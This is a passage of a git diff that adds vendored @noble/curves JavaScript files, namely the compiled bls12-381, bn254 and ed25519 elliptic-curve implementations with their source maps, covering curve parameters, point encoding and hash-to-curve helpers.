spec unless otherwise noted. +// Parameter values come from section 8.8.2 of the spec. +// https://www.rfc-editor.org/rfc/rfc9380#section-8.8.2 +// +// Base field F is GF(p^m) +// p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab +// m = 2 (or 1 for G1 see section 8.8.1) +// k = 128 +const htfDefaults = Object.freeze({ + // DST: a domain separation tag + // defined in section 2.2.5 + // Use utils.getDSTLabel(), utils.setDSTLabel(value) + DST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + encodeDST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + // p: the characteristic of F + // where F is a finite field of characteristic p and order q = p^m + p: Fp.ORDER, + // m: the extension degree of F, m >= 1 + // where F is a finite field of characteristic p and order q = p^m + m: 2, + // k: the target security level for the suite in bits + // defined in section 5.1 + k: 128, + // option to use a message that has already been processed by + // expand_message_xmd + expand: 'xmd', + // Hash functions for: expand_message_xmd is appropriate for use with a + // wide range of hash functions, including SHA-2, SHA-3, BLAKE2, and others. + // BBS+ uses blake2: https://github.com/hyperledger/aries-framework-go/issues/2247 + hash: sha256, +}); +// Encoding utils +// Point on G1 curve: (x, y) +const C_BIT_POS = Fp.BITS; // C_bit, compression bit for serialization flag +const I_BIT_POS = Fp.BITS + 1; // I_bit, point-at-infinity bit for serialization flag +const S_BIT_POS = Fp.BITS + 2; // S_bit, sign bit for serialization flag +// Compressed point of infinity +const COMPRESSED_ZERO = Fp.toBytes(bitSet(bitSet(_0n, I_BIT_POS, true), S_BIT_POS, true)); // set compressed & point-at-infinity bits +function signatureG2ToRawBytes(point) { + // NOTE: by some reasons it was missed in bls12-381, looks like bug + point.assertValidity(); + const len = Fp.BYTES; + if (point.equals(bls12_381.G2.ProjectivePoint.ZERO)) + return concatB(COMPRESSED_ZERO, numberToBytesBE(_0n, len)); + const { x, y } = point.toAffine(); + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + const tmp = y1 > _0n ? y1 * _2n : y0 * _2n; + const aflag1 = Boolean((tmp / Fp.ORDER) & _1n); + const z1 = bitSet(bitSet(x1, 381, aflag1), S_BIT_POS, true); + const z2 = x0; + return concatB(numberToBytesBE(z1, len), numberToBytesBE(z2, len)); +} +// To verify curve parameters, see pairing-friendly-curves spec: +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-pairing-friendly-curves-11 +// Basic math is done over finite fields over p. +// More complicated math is done over polynominal extension fields. +// To simplify calculations in Fp12, we construct extension tower: +// Fp₁₂ = Fp₆² => Fp₂³ +// Fp(u) / (u² - β) where β = -1 +// Fp₂(v) / (v³ - ξ) where ξ = u + 1 +// Fp₆(w) / (w² - γ) where γ = v +// Here goes constants && point encoding format +export const bls12_381 = bls({ + // Fields + fields: { + Fp, + Fp2, + Fp6, + Fp12, + Fr, + }, + // G1 is the order-q subgroup of E1(Fp) : y² = x³ + 4, #E1(Fp) = h1q, where + // characteristic; z + (z⁴ - z² + 1)(z - 1)²/3 + G1: { + Fp, + // cofactor; (z - 1)²/3 + h: BigInt('0x396c8c005555e1568c00aaab0000aaab'), + // generator's coordinates + // x = 3685416753713387016781088315183077757961620795782546409894578378688607592378376318836054947676345821548104185464507 + // y = 1339506544944476473020471379941921221584933875938349620426543736416511423956333506472724655353366534992391756441569 + Gx: BigInt('0x17f1d3a73197d7942695638c4fa9ac0fc3688c4f9774b905a14e3a3f171bac586c55e83ff97a1aeffb3af00adb22c6bb'), + Gy: BigInt('0x08b3f481e3aaa0f1a09e30ed741d8ae4fcf5e095d5d00af600db18cb2c04b3edd03cc744a2888ae40caa232946c5e7e1'), + a: Fp.ZERO, + b: _4n, + htfDefaults: { ...htfDefaults, m: 1 }, + wrapPrivateKey: true, + allowInfinityPoint: true, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, point) => { + // φ endomorphism + const cubicRootOfUnityModP = BigInt('0x5f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'); + const phi = new c(Fp.mul(point.px, cubicRootOfUnityModP), point.py, point.pz); + // todo: unroll + const xP = point.multiplyUnsafe(bls12_381.params.x).negate(); // [x]P + const u2P = xP.multiplyUnsafe(bls12_381.params.x); // [u2]P + return u2P.equals(phi); + // https://eprint.iacr.org/2019/814.pdf + // (z² − 1)/3 + // const c1 = BigInt('0x396c8c005555e1560000000055555555'); + // const P = this; + // const S = P.sigma(); + // const Q = S.double(); + // const S2 = S.sigma(); + // // [(z² − 1)/3](2σ(P) − P − σ²(P)) − σ²(P) = O + // const left = Q.subtract(P).subtract(S2).multiplyUnsafe(c1); + // const C = left.subtract(S2); + // return C.isZero(); + }, + // Clear cofactor of G1 + // https://eprint.iacr.org/2019/403 + clearCofactor: (_c, point) => { + // return this.multiplyUnsafe(CURVE.h); + return point.multiplyUnsafe(bls12_381.params.x).add(point); // x*P + P + }, + mapToCurve: (scalars) => { + const { x, y } = G1_SWU(Fp.create(scalars[0])); + return isogenyMapG1(x, y); + }, + fromBytes: (bytes) => { + bytes = bytes.slice(); + if (bytes.length === 48) { + // TODO: Fp.bytes + const P = Fp.ORDER; + const compressedValue = bytesToNumberBE(bytes); + const bflag = bitGet(compressedValue, I_BIT_POS); + // Zero + if (bflag === _1n) + return { x: _0n, y: _0n }; + const x = Fp.create(compressedValue & Fp.MASK); + const right = Fp.add(Fp.pow(x, _3n), Fp.create(bls12_381.params.G1b)); // y² = x³ + b + let y = Fp.sqrt(right); + if (!y) + throw new Error('Invalid compressed G1 point'); + const aflag = bitGet(compressedValue, C_BIT_POS); + if ((y * _2n) / P !== aflag) + y = Fp.neg(y); + return { x: Fp.create(x), y: Fp.create(y) }; + } + else if (bytes.length === 96) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) + return bls12_381.G1.ProjectivePoint.ZERO.toAffine(); + const x = bytesToNumberBE(bytes.subarray(0, Fp.BYTES)); + const y = bytesToNumberBE(bytes.subarray(Fp.BYTES)); + return { x: Fp.create(x), y: Fp.create(y) }; + } + else { + throw new Error('Invalid point G1, expected 48/96 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) + return COMPRESSED_ZERO.slice(); + const P = Fp.ORDER; + let num; + num = bitSet(x, C_BIT_POS, Boolean((y * _2n) / P)); // set aflag + num = bitSet(num, S_BIT_POS, true); + return numberToBytesBE(num, Fp.BYTES); + } + else { + if (isZero) { + // 2x PUBLIC_KEY_LENGTH + const x = concatB(new Uint8Array([0x40]), new Uint8Array(2 * Fp.BYTES - 1)); + return x; + } + else { + return concatB(numberToBytesBE(x, Fp.BYTES), numberToBytesBE(y, Fp.BYTES)); + } + } + }, + }, + // G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), + // where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where + // G² - 1 + // h2q + G2: { + Fp: Fp2, + // cofactor + h: BigInt('0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5'), + Gx: Fp2.fromBigTuple([ + BigInt('0x024aa2b2f08f0a91260805272dc51051c6e47ad4fa403b02b4510b647ae3d1770bac0326a805bbefd48056c8c121bdb8'), + BigInt('0x13e02b6052719f607dacd3a088274f65596bd0d09920b61ab5da61bbdc7f5049334cf11213945d57e5ac7d055d042b7e'), + ]), + // y = + // 927553665492332455747201965776037880757740193453592970025027978793976877002675564980949289727957565575433344219582, + // 1985150602287291935568054521177171638300868978215655730859378665066344726373823718423869104263333984641494340347905 + Gy: Fp2.fromBigTuple([ + BigInt('0x0ce5d527727d6e118cc9cdc6da2e351aadfd9baa8cbdd3a76d429a695160d12c923ac9cc3baca289e193548608b82801'), + BigInt('0x0606c4a02ea734cc32acd2b02bc28b99cb3e287e85a763af267492ab572e99ab3f370d275cec1da1aaa9075ff05f79be'), + ]), + a: Fp2.ZERO, + b: Fp2.fromBigTuple([_4n, _4n]), + hEff: BigInt('0xbc69f08f2ee75b3584c6a0ea91b352888e2a8e9145ad7689986ff031508ffe1329c2f178731db956d82bf015d1212b02ec0ec69d7477c1ae954cbc06689f6a359894c0adebbf6b4e8020005aaa95551'), + htfDefaults: { ...htfDefaults }, + wrapPrivateKey: true, + allowInfinityPoint: true, + mapToCurve: (scalars) => { + const { x, y } = G2_SWU(Fp2.fromBigTuple(scalars)); + return isogenyMapG2(x, y); + }, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, P) => { + return P.multiplyUnsafe(bls12_381.params.x).negate().equals(G2psi(c, P)); // ψ(P) == [u](P) + // Older version: https://eprint.iacr.org/2019/814.pdf + // Ψ²(P) => Ψ³(P) => [z]Ψ³(P) where z = -x => [z]Ψ³(P) - Ψ²(P) + P == O + // return P.psi2().psi().mulNegX().subtract(psi2).add(P).isZero(); + }, + // Maps the point into the prime-order subgroup G2. + // clear_cofactor_bls12381_g2 from cfrg-hash-to-curve-11 + // https://eprint.iacr.org/2017/419.pdf + // prettier-ignore + clearCofactor: (c, P) => { + const x = bls12_381.params.x; + let t1 = P.multiplyUnsafe(x).negate(); // [-x]P + let t2 = G2psi(c, P); // Ψ(P) + let t3 = P.double(); // 2P + t3 = G2psi2(c, t3); // Ψ²(2P) + t3 = t3.subtract(t2); // Ψ²(2P) - Ψ(P) + t2 = t1.add(t2); // [-x]P + Ψ(P) + t2 = t2.multiplyUnsafe(x).negate(); // [x²]P - [x]Ψ(P) + t3 = t3.add(t2); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + t3 = t3.subtract(t1); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P + const Q = t3.subtract(P); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P - 1P + return Q; // [x²-x-1]P + [x-1]Ψ(P) + Ψ²(2P) + }, + fromBytes: (bytes) => { + bytes = bytes.slice(); + const m_byte = bytes[0] & 0xe0; + if (m_byte === 0x20 || m_byte === 0x60 || m_byte === 0xe0) { + throw new Error('Invalid encoding flag: ' + m_byte); + } + const bitC = m_byte & 0x80; // compression bit + const bitI = m_byte & 0x40; // point at infinity bit + const bitS = m_byte & 0x20; // sign bit + const L = Fp.BYTES; + const slc = (b, from, to) => bytesToNumberBE(b.slice(from, to)); + if (bytes.length === 96 && bitC) { + const b = bls12_381.params.G2b; + const P = Fp.ORDER; + bytes[0] = bytes[0] & 0x1f; // clear flags + if (bitI) { + // check that all bytes are 0 + if (bytes.reduce((p, c) => (p !== 0 ? c + 1 : c), 0) > 0) { + throw new Error('Invalid compressed G2 point'); + } + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x_1 = slc(bytes, 0, L); + const x_0 = slc(bytes, L, 2 * L); + const x = Fp2.create({ c0: Fp.create(x_0), c1: Fp.create(x_1) }); + const right = Fp2.add(Fp2.pow(x, _3n), b); // y² = x³ + 4 * (u+1) = x³ + b + let y = Fp2.sqrt(right); + const Y_bit = y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P ? _1n : _0n; + y = bitS > 0 && Y_bit > 0 ? y : Fp2.neg(y); + return { x, y }; + } + else if (bytes.length === 192 && !bitC) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) { + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x1 = slc(bytes, 0, L); + const x0 = slc(bytes, L, 2 * L); + const y1 = slc(bytes, 2 * L, 3 * L); + const y0 = slc(bytes, 3 * L, 4 * L); + return { x: Fp2.fromBigTuple([x0, x1]), y: Fp2.fromBigTuple([y0, y1]) }; + } + else { + throw new Error('Invalid point G2, expected 96/192 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const { BYTES: len, ORDER: P } = Fp; + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) + return concatB(COMPRESSED_ZERO, numberToBytesBE(_0n, len)); + const flag = Boolean(y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P); + // set compressed & sign bits (looks like different offsets than for G1/Fp?) + let x_1 = bitSet(x.c1, C_BIT_POS, flag); + x_1 = bitSet(x_1, S_BIT_POS, true); + return concatB(numberToBytesBE(x_1, len), numberToBytesBE(x.c0, len)); + } + else { + if (isZero) + return concatB(new Uint8Array([0x40]), new Uint8Array(4 * len - 1)); // bytes[0] |= 1 << 6; + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + return concatB(numberToBytesBE(x1, len), numberToBytesBE(x0, len), numberToBytesBE(y1, len), numberToBytesBE(y0, len)); + } + }, + Signature: { + // TODO: Optimize, it's very slow because of sqrt. + fromHex(hex) { + hex = ensureBytes('signatureHex', hex); + const P = Fp.ORDER; + const half = hex.length / 2; + if (half !== 48 && half !== 96) + throw new Error('Invalid compressed signature length, must be 96 or 192'); + const z1 = bytesToNumberBE(hex.slice(0, half)); + const z2 = bytesToNumberBE(hex.slice(half)); + // Indicates the infinity point + const bflag1 = bitGet(z1, I_BIT_POS); + if (bflag1 === _1n) + return bls12_381.G2.ProjectivePoint.ZERO; + const x1 = Fp.create(z1 & Fp.MASK); + const x2 = Fp.create(z2); + const x = Fp2.create({ c0: x2, c1: x1 }); + const y2 = Fp2.add(Fp2.pow(x, _3n), bls12_381.params.G2b); // y² = x³ + 4 + // The slow part + let y = Fp2.sqrt(y2); + if (!y) + throw new Error('Failed to find a square root'); + // Choose the y whose leftmost bit of the imaginary part is equal to the a_flag1 + // If y1 happens to be zero, then use the bit of y0 + const { re: y0, im: y1 } = Fp2.reim(y); + const aflag1 = bitGet(z1, 381); + const isGreater = y1 > _0n && (y1 * _2n) / P !== aflag1; + const isZero = y1 === _0n && (y0 * _2n) / P !== aflag1; + if (isGreater || isZero) + y = Fp2.neg(y); + const point = bls12_381.G2.ProjectivePoint.fromAffine({ x, y }); + point.assertValidity(); + return point; + }, + toRawBytes(point) { + return signatureG2ToRawBytes(point); + }, + toHex(point) { + return bytesToHex(signatureG2ToRawBytes(point)); + }, + }, + }, + params: { + x: BLS_X, + r: Fr.ORDER, // order; z⁴ − z² + 1; CURVE.n from other curves + }, + htfDefaults, + hash: sha256, + randomBytes, +}); +//# sourceMappingURL=bls12-381.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/bls12-381.js.map b/node_modules/@noble/curves/esm/bls12-381.js.map new file mode 100644 index 000000000000..ed20a5dccd99 --- /dev/null +++ b/node_modules/@noble/curves/esm/bls12-381.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bls12-381.js","sourceRoot":"","sources":["../src/bls12-381.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAEtE,uFAAuF;AACvF,gDAAgD;AAChD,kGAAkG;AAClG,+EAA+E;AAC/E,EAAE;AACF,mGAAmG;AACnG,+EAA+E;AAC/E,+FAA+F;AAC/F,2FAA2F;AAC3F,wEAAwE;AACxE,EAAE;AACF,cAAc;AACd,gDAAgD;AAChD,4BAA4B;AAC5B,2FAA2F;AAC3F,mHAAmH;AACnH,0FAA0F;AAC1F,2HAA2H;AAC3H,6CAA6C;AAC7C,EAAE;AACF,eAAe;AACf,+BAA+B;AAC/B,8BAA8B;AAC9B,0DAA0D;AAC1D,4EAA4E;AAC5E,6DAA6D;AAC7D,6DAA6D;AAC7D,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CA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AC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC;gBAChE,KAAK,CAAC,cAAc,EAAE,CAAC;gBACvB,OAAO,KAAK,CAAC;YACf,CAAC;YACD,UAAU,CAAC,KAAyB;gBAClC,OAAO,qBAAqB,CAAC,KAAK,CAAC,CAAC;YACtC,CAAC;YACD,KAAK,CAAC,KAAyB;gBAC7B,OAAO,UAAU,CAAC,qBAAqB,CAAC,KAAK,CAAC,CAAC,CAAC;YAClD,CAAC;SACF;KACF;IACD,MAAM,EAAE;QACN,CAAC,EAAE,KAAK;QACR,CAAC,EAAE,EAAE,CAAC,KAAK,EAAE,gDAAgD;KAC9D;IACD,WAAW;IACX,IAAI,EAAE,MAAM;IACZ,WAAW;CACZ,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/bn254.js b/node_modules/@noble/curves/esm/bn254.js new file mode 100644 index 000000000000..6b4f7c676735 --- /dev/null +++ b/node_modules/@noble/curves/esm/bn254.js @@ -0,0 +1,22 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { weierstrass } from './abstract/weierstrass.js'; +import { getHash } from './_shortw_utils.js'; +import { Field } from './abstract/modular.js'; +/** + * bn254 pairing-friendly curve. + * Previously known as alt_bn_128, when it had 128-bit security. + * Recent research shown it's weaker, the naming has been adjusted to its prime bit count. + * https://github.com/zcash/zcash/issues/2502 + */ +export const bn254 = weierstrass({ + a: BigInt(0), + b: BigInt(3), + Fp: Field(BigInt('0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47')), + n: BigInt('0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001'), + Gx: BigInt(1), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); +//# sourceMappingURL=bn254.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/bn254.js.map b/node_modules/@noble/curves/esm/bn254.js.map new file mode 100644 index 000000000000..e0ec02355460 --- /dev/null +++ b/node_modules/@noble/curves/esm/bn254.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bn254.js","sourceRoot":"","sources":["../src/bn254.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,MAAM,EAAE,MAAM,sBAAsB,CAAC;AAC9C,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAC;AACxD,OAAO,EAAE,OAAO,EAAE,MAAM,oBAAoB,CAAC;AAC7C,OAAO,EAAE,KAAK,EAAE,MAAM,uBAAuB,CAAC;AAC9C;;;;;GAKG;AACH,MAAM,CAAC,MAAM,KAAK,GAAG,WAAW,CAAC;IAC/B,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,EAAE,EAAE,KAAK,CAAC,MAAM,CAAC,oEAAoE,CAAC,CAAC;IACvF,CAAC,EAAE,MAAM,CAAC,oEAAoE,CAAC;IAC/E,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,GAAG,OAAO,CAAC,MAAM,CAAC;CACnB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/ed25519.js b/node_modules/@noble/curves/esm/ed25519.js new file mode 100644 index 000000000000..ad84785bd3b7 --- /dev/null +++ b/node_modules/@noble/curves/esm/ed25519.js @@ -0,0 +1,433 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha512 } from '@noble/hashes/sha512'; +import { concatBytes, randomBytes, utf8ToBytes } from '@noble/hashes/utils'; +import { twistedEdwards } from './abstract/edwards.js'; +import { montgomery } from './abstract/montgomery.js'; +import { Field, FpSqrtEven, isNegativeLE, mod, pow2 } from './abstract/modular.js'; +import { bytesToHex, bytesToNumberLE, ensureBytes, equalBytes, numberToBytesLE, } from './abstract/utils.js'; +import { createHasher, expand_message_xmd } from './abstract/hash-to-curve.js'; +/** + * ed25519 Twisted Edwards curve with following addons: + * - X25519 ECDH + * - Ristretto cofactor elimination + * - Elligator hash-to-group / point indistinguishability + */ +const ED25519_P = BigInt('57896044618658097711785492504343953926634992332820282019728792003956564819949'); +// √(-1) aka √(a) aka 2^((p-1)/4) +const ED25519_SQRT_M1 = BigInt('19681161376707505956807079304988542015446066515923890162744021073123829784752'); +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _5n = BigInt(5); +// prettier-ignore +const _10n = BigInt(10), _20n = BigInt(20), _40n = BigInt(40), _80n = BigInt(80); +function ed25519_pow_2_252_3(x) { + const P = ED25519_P; + const x2 = (x * x) % P; + const b2 = (x2 * x) % P; // x^3, 11 + const b4 = (pow2(b2, _2n, P) * b2) % P; // x^15, 1111 + const b5 = (pow2(b4, _1n, P) * x) % P; // x^31 + const b10 = (pow2(b5, _5n, P) * b5) % P; + const b20 = (pow2(b10, _10n, P) * b10) % P; + const b40 = (pow2(b20, _20n, P) * b20) % P; + const b80 = (pow2(b40, _40n, P) * b40) % P; + const b160 = (pow2(b80, _80n, P) * b80) % P; + const b240 = (pow2(b160, _80n, P) * b80) % P; + const b250 = (pow2(b240, _10n, P) * b10) % P; + const pow_p_5_8 = (pow2(b250, _2n, P) * x) % P; + // ^ To pow to (p+3)/8, multiply it by x. + return { pow_p_5_8, b2 }; +} +function adjustScalarBytes(bytes) { + // Section 5: For X25519, in order to decode 32 random bytes as an integer scalar, + // set the three least significant bits of the first byte + bytes[0] &= 248; // 0b1111_1000 + // and the most significant bit of the last to zero, + bytes[31] &= 127; // 0b0111_1111 + // set the second most significant bit of the last byte to 1 + bytes[31] |= 64; // 0b0100_0000 + return bytes; +} +// sqrt(u/v) +function uvRatio(u, v) { + const P = ED25519_P; + const v3 = mod(v * v * v, P); // v³ + const v7 = mod(v3 * v3 * v, P); // v⁷ + // (p+3)/8 and (p-5)/8 + const pow = ed25519_pow_2_252_3(u * v7).pow_p_5_8; + let x = mod(u * v3 * pow, P); // (uv³)(uv⁷)^(p-5)/8 + const vx2 = mod(v * x * x, P); // vx² + const root1 = x; // First root candidate + const root2 = mod(x * ED25519_SQRT_M1, P); // Second root candidate + const useRoot1 = vx2 === u; // If vx² = u (mod p), x is a square root + const useRoot2 = vx2 === mod(-u, P); // If vx² = -u, set x <-- x * 2^((p-1)/4) + const noRoot = vx2 === mod(-u * ED25519_SQRT_M1, P); // There is no valid root, vx² = -u√(-1) + if (useRoot1) + x = root1; + if (useRoot2 || noRoot) + x = root2; // We return root2 anyway, for const-time + if (isNegativeLE(x, P)) + x = mod(-x, P); + return { isValid: useRoot1 || useRoot2, value: x }; +} +// Just in case +export const ED25519_TORSION_SUBGROUP = [ + '0100000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a', + '0000000000000000000000000000000000000000000000000000000000000080', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc05', + 'ecffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7f', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc85', + '0000000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', +]; +const Fp = Field(ED25519_P, undefined, true); +const ed25519Defaults = { + // Param: a + a: BigInt(-1), + // d is equal to -121665/121666 over finite field. + // Negative number is P - number, and division is invert(number, P) + d: BigInt('37095705934669439343138083508754565189542113879843219016388785533085940283555'), + // Finite field 𝔽p over which we'll do calculations; 2n**255n - 19n + Fp, + // Subgroup order: how many points curve has + // 2n**252n + 27742317777372353535851937790883648493n; + n: BigInt('7237005577332262213973186563042994240857116359379907606001950938285454250989'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('15112221349535400772501151409588531511454012693041857206046113283949847762202'), + Gy: BigInt('46316835694926478169428394003475163141307993866256225615783033603165251855960'), + hash: sha512, + randomBytes, + adjustScalarBytes, + // dom2 + // Ratio of u to v. Allows us to combine inversion and square root. Uses algo from RFC8032 5.1.3. + // Constant-time, u/√v + uvRatio, +}; +export const ed25519 = /* @__PURE__ */ twistedEdwards(ed25519Defaults); +function ed25519_domain(data, ctx, phflag) { + if (ctx.length > 255) + throw new Error('Context is too big'); + return concatBytes(utf8ToBytes('SigEd25519 no Ed25519 collisions'), new Uint8Array([phflag ? 1 : 0, ctx.length]), ctx, data); +} +export const ed25519ctx = /* @__PURE__ */ twistedEdwards({ + ...ed25519Defaults, + domain: ed25519_domain, +}); +export const ed25519ph = /* @__PURE__ */ twistedEdwards({ + ...ed25519Defaults, + domain: ed25519_domain, + prehash: sha512, +}); +export const x25519 = /* @__PURE__ */ (() => montgomery({ + P: ED25519_P, + a: BigInt(486662), + montgomeryBits: 255, + nByteLength: 32, + Gu: BigInt(9), + powPminus2: (x) => { + const P = ED25519_P; + // x^(p-2) aka x^(2^255-21) + const { pow_p_5_8, b2 } = ed25519_pow_2_252_3(x); + return mod(pow2(pow_p_5_8, BigInt(3), P) * b2, P); + }, + adjustScalarBytes, + randomBytes, +}))(); +/** + * Converts ed25519 public key to x25519 public key. Uses formula: + * * `(u, v) = ((1+y)/(1-y), sqrt(-486664)*u/x)` + * * `(x, y) = (sqrt(-486664)*u/v, (u-1)/(u+1))` + * @example + * const someonesPub = ed25519.getPublicKey(ed25519.utils.randomPrivateKey()); + * const aPriv = x25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(aPriv, edwardsToMontgomeryPub(someonesPub)) + */ +export function edwardsToMontgomeryPub(edwardsPub) { + const { y } = ed25519.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((_1n + y) * Fp.inv(_1n - y))); +} +export const edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated +/** + * Converts ed25519 secret key to x25519 secret key. + * @example + * const someonesPub = x25519.getPublicKey(x25519.utils.randomPrivateKey()); + * const aPriv = ed25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(edwardsToMontgomeryPriv(aPriv), someonesPub) + */ +export function edwardsToMontgomeryPriv(edwardsPriv) { + const hashed = ed25519Defaults.hash(edwardsPriv.subarray(0, 32)); + return ed25519Defaults.adjustScalarBytes(hashed).subarray(0, 32); +} +// Hash To Curve Elligator2 Map (NOTE: different from ristretto255 elligator) +// NOTE: very important part is usage of FpSqrtEven for ELL2_C1_EDWARDS, since +// SageMath returns different root first and everything falls apart +const ELL2_C1 = (Fp.ORDER + BigInt(3)) / BigInt(8); // 1. c1 = (q + 3) / 8 # Integer arithmetic +const ELL2_C2 = Fp.pow(_2n, ELL2_C1); // 2. c2 = 2^c1 +const ELL2_C3 = Fp.sqrt(Fp.neg(Fp.ONE)); // 3. c3 = sqrt(-1) +const ELL2_C4 = (Fp.ORDER - BigInt(5)) / BigInt(8); // 4. c4 = (q - 5) / 8 # Integer arithmetic +const ELL2_J = BigInt(486662); +// prettier-ignore +function map_to_curve_elligator2_curve25519(u) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, _2n); // 2. tv1 = 2 * tv1 + let xd = Fp.add(tv1, Fp.ONE); // 3. xd = tv1 + 1 # Nonzero: -1 is square (mod p), tv1 is not + let x1n = Fp.neg(ELL2_J); // 4. x1n = -J # x1 = x1n / xd = -J / (1 + 2 * u^2) + let tv2 = Fp.sqr(xd); // 5. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 6. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, ELL2_J); // 7. gx1 = J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 8. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 9. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 10. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 11. tv3 = gxd^2 + tv2 = Fp.sqr(tv3); // 12. tv2 = tv3^2 # gxd^4 + tv3 = Fp.mul(tv3, gxd); // 13. tv3 = tv3 * gxd # gxd^3 + tv3 = Fp.mul(tv3, gx1); // 14. tv3 = tv3 * gx1 # gx1 * gxd^3 + tv2 = Fp.mul(tv2, tv3); // 15. tv2 = tv2 * tv3 # gx1 * gxd^7 + let y11 = Fp.pow(tv2, ELL2_C4); // 16. y11 = tv2^c4 # (gx1 * gxd^7)^((p - 5) / 8) + y11 = Fp.mul(y11, tv3); // 17. y11 = y11 * tv3 # gx1*gxd^3*(gx1*gxd^7)^((p-5)/8) + let y12 = Fp.mul(y11, ELL2_C3); // 18. y12 = y11 * c3 + tv2 = Fp.sqr(y11); // 19. tv2 = y11^2 + tv2 = Fp.mul(tv2, gxd); // 20. tv2 = tv2 * gxd + let e1 = Fp.eql(tv2, gx1); // 21. e1 = tv2 == gx1 + let y1 = Fp.cmov(y12, y11, e1); // 22. y1 = CMOV(y12, y11, e1) # If g(x1) is square, this is its sqrt + let x2n = Fp.mul(x1n, tv1); // 23. x2n = x1n * tv1 # x2 = x2n / xd = 2 * u^2 * x1n / xd + let y21 = Fp.mul(y11, u); // 24. y21 = y11 * u + y21 = Fp.mul(y21, ELL2_C2); // 25. y21 = y21 * c2 + let y22 = Fp.mul(y21, ELL2_C3); // 26. y22 = y21 * c3 + let gx2 = Fp.mul(gx1, tv1); // 27. gx2 = gx1 * tv1 # g(x2) = gx2 / gxd = 2 * u^2 * g(x1) + tv2 = Fp.sqr(y21); // 28. tv2 = y21^2 + 